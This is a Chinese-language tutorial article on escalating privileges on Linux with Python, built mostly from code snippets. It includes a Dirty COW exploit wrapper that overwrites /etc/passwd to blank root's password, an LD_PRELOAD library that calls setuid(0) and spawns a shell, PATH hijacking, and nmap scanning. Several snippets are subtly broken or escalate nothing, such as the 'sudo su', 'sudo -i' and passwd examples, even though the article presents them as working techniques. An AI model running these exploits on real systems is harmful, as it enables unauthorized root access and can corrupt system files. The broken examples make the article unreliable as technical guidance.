系统中有python如何提权

系统中有Python如何提权

在系统中利用Python进行提权的常见方法包括利用系统漏洞、使用脚本执行特权命令、利用Python库进行提权、通过环境变量提权。其中，利用系统漏洞是一种相对常见且有效的提权方式。通过识别系统中的已知漏洞，攻击者可以编写或利用现有的Python脚本，直接在目标系统上执行高权限命令，从而提升自身权限。

一、利用系统漏洞

漏洞扫描与识别

系统漏洞是提权的主要途径之一。首先，我们需要对目标系统进行漏洞扫描和识别。常用的工具包括Nmap、Nessus等，Python也有许多库可以帮助进行漏洞扫描，例如python-nmap。通过扫描，我们可以识别出系统中存在的已知漏洞。

import nmap
nm = nmap.PortScanner()
nm.scan('127.0.0.1', '22-443')
for host in nm.all_hosts():
    print('Host : %s (%s)' % (host, nm[host].hostname()))
    print('State : %s' % nm[host].state())
    for proto in nm[host].all_protocols():
        print('----------')
        print('Protocol : %s' % proto)
        lport = nm[host][proto].keys()
        for port in lport:
            print('port : %ststate : %s' % (port, nm[host][proto][port]['state']))

利用已知漏洞

一旦识别出系统中的漏洞，下一步就是利用这些漏洞进行提权。例如，如果系统存在CVE-2016-5195（Dirty COW）漏洞，可以利用该漏洞编写Python脚本来提升权限。

import os
def exploit_dirty_cow():
    # Payload to exploit Dirty COW
    payload = """
    #include <stdio.h>
    #include <sys/mman.h>
    #include <fcntl.h>
    #include <string.h>
    #include <pthread.h>
    #include <unistd.h>
    void *map;
    int f;
    int stop = 0;
    pthread_t pth1, pth2;
    void *madviseThread(void *arg) {
        char *str;
        str = (char*)arg;
        while(!stop)
            madvise(map, 100, MADV_DONTNEED);
        return NULL;
    }
    void *procselfmemThread(void *arg) {
        char *str;
        str = (char*)arg;
        int f = open("/proc/self/mem", O_RDWR);
        while(!stop) {
            lseek(f, (uintptr_t) map, SEEK_SET);
            write(f, str, strlen(str));
        }
        return NULL;
    }
    int main(int argc, char *argv[]) {
        char *str;
        f = open(argv[1], O_RDONLY);
        map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, f, 0);
        str = argv[2];
        pthread_create(&pth1, NULL, madviseThread, str);
        pthread_create(&pth2, NULL, procselfmemThread, str);
        pthread_join(pth1, NULL);
        pthread_join(pth2, NULL);
        return 0;
    }
    """
    with open("dirty_cow.c", "w") as f:
        f.write(payload)
    os.system("gcc -pthread dirty_cow.c -o dirty_cow")
    os.system("./dirty_cow /etc/passwd 'root::0:0:root:/root:/bin/bashn'")
    os.system("su root")
exploit_dirty_cow()

二、使用脚本执行特权命令

创建特权脚本

Python可以用于编写脚本来执行需要特权的命令。例如，利用os和subprocess库，我们可以执行系统命令并获取高权限。

import os
import subprocess
def execute_privileged_command(command):
    try:
        result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except subprocess.CalledProcessError as e:
        return e.stderr.decode('utf-8')
print(execute_privileged_command('sudo whoami'))

使用SUID位程序

有些系统上的程序设置了SUID位，可以被普通用户用来执行特权操作。我们可以利用这些程序，通过Python脚本调用来执行高权限命令。
```
import os
def execute_suid_command():
    suid_program = '/usr/bin/passwd'
    os.system(f'{suid_program} your_username')
execute_suid_command()
```

三、利用Python库进行提权

利用第三方库

有一些第三方的Python库可以帮助我们在系统上提升权限。例如，pwn库就提供了一些工具来进行系统提权。通过利用这些库，我们可以编写脚本来实现权限提升。

from pwn import *
def exploit_system():
    # Example exploit using pwn library
    p = process('/bin/sh')
    p.sendline('whoami')
    print(p.recvline())
    p.sendline('sudo su')
    print(p.recvline())
exploit_system()

自定义库实现提权

我们也可以编写自定义的Python库来帮助实现提权。例如，通过编写一个库来利用系统的某些特性或漏洞，来提升当前用户的权限。

import os
class PrivilegeEscalation:
    def __init__(self):
        self.current_user = os.getlogin()
    def escalate_privileges(self):
        if self.current_user != 'root':
            os.system('sudo -i')
        else:
            print('Already root!')
priv_escalate = PrivilegeEscalation()
priv_escalate.escalate_privileges()

四、通过环境变量提权

Manipulating PATH Variable

环境变量中的PATH是一个常见的攻击点。通过修改PATH变量，使得系统在执行某些命令时，优先选择我们提供的恶意程序，从而实现提权。
```
import os
def manipulate_path():
    os.environ['PATH'] = '/tmp/malicious_bin:' + os.environ['PATH']
    os.system('whoami')
manipulate_path()
```

利用LD_PRELOAD

LD_PRELOAD是一个环境变量，允许用户在程序启动时预先加载特定的共享库。通过编写恶意的共享库并利用LD_PRELOAD，我们可以在程序执行时插入恶意代码来提升权限。

import os
def exploit_ld_preload():
    preload_payload = """
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    __attribute__((constructor)) void preload() {
        setuid(0);
        setgid(0);
        system("/bin/sh");
    }
    """
    with open("exploit.c", "w") as f:
        f.write(preload_payload)
    os.system("gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles")
    os.system("LD_PRELOAD=./exploit.so /bin/echo Hello")
exploit_ld_preload()

五、总结

利用Python进行系统提权是一种非常强大的技术手段，但同时也需要高度的专业知识和谨慎态度。提权过程中涉及的各种方法和技术手段，需要对系统的深入理解和对漏洞的充分利用。无论是利用系统漏洞、使用脚本执行特权命令、利用Python库进行提权，还是通过环境变量提权，都需要结合具体的系统环境和目标进行详细分析和操作。同时，建议在合法和授权的环境下进行测试和验证，避免非法使用和滥用。